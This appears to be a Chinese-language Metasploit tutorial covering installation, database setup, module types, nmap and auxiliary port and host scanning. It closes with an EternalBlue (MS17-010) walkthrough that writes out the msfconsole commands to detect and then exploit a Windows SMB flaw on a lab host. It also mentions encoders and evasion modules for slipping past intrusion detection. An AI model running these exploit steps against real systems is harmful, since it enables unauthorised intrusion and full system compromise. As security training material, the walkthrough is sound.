MSF之信息收集及漏洞利用
- 一、Metasploit简介
- 二、Metasploit安装
- 三、安装postgresql数据库
- 四、KaIi-msfdb-Postgresql报错排查处理
- 五、Metasploit-启动
- 六、Metasploit-目录结构
- 六、Metasploit-模块
- 七、Metasploit-信息收集
- 7.1、db_nmap/nmap
- 7.2、Metasploit auxiliary
- 7.2.1、端口扫描
- 7.2.2、主机发现
- 八、永恒之蓝
一、Metasploit简介
metasploit是什么?
Metasploit(MSF)是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数千个已知软件漏洞,是一款专业级漏洞攻击工具。
二、Metasploit安装
1、在Linux/mac0S上安装Metasploit,这里有官方提供的脚本,可以一键式安装。
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \chmod 755 msfinstall && \./msfinstall
2、Debian/Ubuntu软件包位于
https://apt.metasploit.com
3、Cent0S/Redhat/Fedora软件包位于https://rpm.metasploit.com
- ubuntu安装
- 从
https://apt.metasploit.com/
下载MSF的deb安装包。 - 在终端运行:
dpkg -i metasp|oit-framework_6.0.7+20200916102431_1rapid7-1_amd64.deb
- 就已经安装好了,数据库的安装看下面的步骤
- 从
- Centos安装
- 从
https://rpm.metasploit.com
下载rpm安装包 - 在终端运行:
rpm -i metasploit-framework-6.0.7+20200916102441~1rapid7-1.e16.x86_64.rpm
- 从
4、kali-metasploit更新:
msfconsole -v #查看版本
apt-get update
apt-get install metasploit-framework
三、安装postgresql数据库
1、msf使用的是postgresql数据库,如果没有的话需要先安装。
2、安装数据库的时候会自动创建系统用户postgres,数据库用户postgres,数据库postgres
1、apt-get install postgresql #安装postgresql数据库
2、su - postgres #切换到postgres用户
3、psql #登陆postgresql数据库,首次登陆没有密码
4、\password postgres #修改数据库用户postgres的密码
3、msf使用数据库
1、msfconsole #启动msf
2、db_connect postgres:hehehe@127.0.0.1/test #用户名,密码,地址
3、db_status #查看数据库连接状态
- 在Kali里面,Msf和数据库已经原本就安装好了。
- 使用数据库之前必须先开启postgresql服务器。
1、systemctl start postgresql #开启数据库
2、systemctl status postgresql #查看数据库状态
四、KaIi-msfdb-Postgresql报错排查处理
- Postgresql日志文件:
ls /var/log/postgresql
tail /var/log/postgresql/postgresql-15-main.log
五、Metasploit-启动
- 1、
systemctl start postgresql
开启数据库 - 2、
msfdb init
初始化数据库
- 3、
msfconsole
启动
Msfconsole主要用于:
1、管理Metasploit数据库
2、管理会话
3、配置启动Metasploit模块
六、Metasploit-目录结构
kali-metasploit框架目录路径:
/usr/share/metasploit-framework/
- data:包含metasploit用于存储某些漏洞、单词列表、图像等所需二进制文件的可编辑文件。
- documentation:包含框架的可用文档。
- lib:metasploit的库文件夹。
- plugins:用来存放metasploit的插件。(.rb文件是一个包含Ruby程序/脚本源代码的文本文件。)
- scripts:用来存放metasploit的脚本,包括meterpreter及其它脚本。
- tools:存放多种的命令行实用程序。
- modules:存储metasploit的模块文件。
六、Metasploit-模块
modules-msf核心:
- auxiliary:辅助模块,辅助渗透(端口扫描、登录密码爆破、漏洞验证等)
- exploits:漏洞利用模块,包含主流的漏洞利用脚本,通常是对某些可能存在漏洞的目标进行漏洞利用。命名规则:操作系统/各种应用协议分类。
- payloads:攻击载荷,主要是攻击成功后在目标机器执行的代码,比如反弹shel l的代码。
- post:后渗透阶段模块,漏洞利用成功获得meterpreter之后,向目标发送的一些功能性指令,如:提权等。
- encoders:编码器模块,主要包含各种编码工具,对pay l oadi进行编码加密,以便绕过入侵检测和过滤系统。
- evasion:躲避模块,用来生成免杀payload。
- nops:由于IDS/IPS会检查数据包中不规则的数据,在某些情况下,比如针对溢出攻击,某些特殊滑行字符串(N0PS x90x90…)则会因为被拦截而导致攻击失效。
七、Metasploit-信息收集
7.1、db_nmap/nmap
db_nmap
nmap扫描-T[0-5]
默认为T3,T4表示最大TCP扫描延迟为10ms-sS
TCP SYN扫描-sA
TCP ACK扫描-sT
TCP扫描-A
打开操作系统探测和版本探测hosts
查看当前工作区所有主机services
查看所有服务
- nmap扫描一次扫描1000个端口,上图显示982个端口是关闭的,说明有18个端口是开启的。
db_nmap
与nmap
不同点:使用db_nmap
,结果会保存在hosts
数据库中。
7.2、Metasploit auxiliary
端口扫描&主机发现
search
搜索msf中相关模块。search portscan
端口扫描search discovery
主机发现
use module
使用msf中相关模块。use auxiliary/scanner/portscan/tcp
tcp端口扫描use auxiliary/scanner/discovery/arp_sweep
arp扫描存活探测
options/show options
查看模块设置,yes是必填的set rhosts
设置模块必选项run/exploit
运行模块
7.2.1、端口扫描
msf6 >search portscan
#使用模块
msf6 >use auxiliary/scanner/portscan/tcp
## 或者use 5
msf6 auxiliary(scanner/portscan/tcp) > options
msf6 auxiliary(scanner/portscan/tcp) > set rhosts 192.168.9.131
rhosts => 192.168.9.131
msf6 auxiliary(scanner/portscan/tcp) > run
7.2.2、主机发现
在TCP/IP网络环境中,一台主机在发送数据帧前需要使用ARP(Address Resolution Protocol,地址解析协议)将目标IP地址转换成MAC地址,这个转换过程是通过发送一个ARP请求来完成的。如IP为A的主机发送一个ARP请求获取IP为B的MAC地址,此时如果IP为B的主机存在,那么它会向A发出一个回应。因此,可以通过发送ARP请求的方式很容易地获取同一子网上的活跃主机情况,这种技术也称为ARP扫描。
msf6 >search discovery
msf6 >use 0
msf6 auxiliary(scanner/discovery/arp_sweep) > options
msf6 auxiliary(scanner/discovery/arp_sweep) > set rhosts 192.168.9.1/24
rhosts => 192.168.9.1/24
msf6 auxiliary(scanner/discovery/arp_sweep) > run
八、永恒之蓝
永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日,不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件。
检测ms17_010
1、利用msf扫描目标主机开放端口。
2、发现445端口开放,进一步探测目标是否存在永恒之蓝漏洞,使用漏洞检测模块。
search ms17_010
搜索相关模块use auxiliary/scanner/smb/smb_ms17_010_eternablue
使用辅助模块检测漏洞options/show options
查看模块/payload设置set rhosts 192.168.9.131
设置模块必选项run/exploit
运行模块
msf6 > search ms17_010
msf6 > use 3
msf6 auxiliary(scanner/smb/smb_ms17_010) > options
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.9.131
rhosts => 192.168.9.131
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
3、发现存在永恒之蓝漏洞,使用漏洞利用模块。
msf6 auxiliary(scanner/smb/smb_ms17_010) > use 0
msf6 exploit(windows/smb/ms17_010_eternalblue) > options
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.9.131
rhosts => 192.168.9.131
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
4、成功。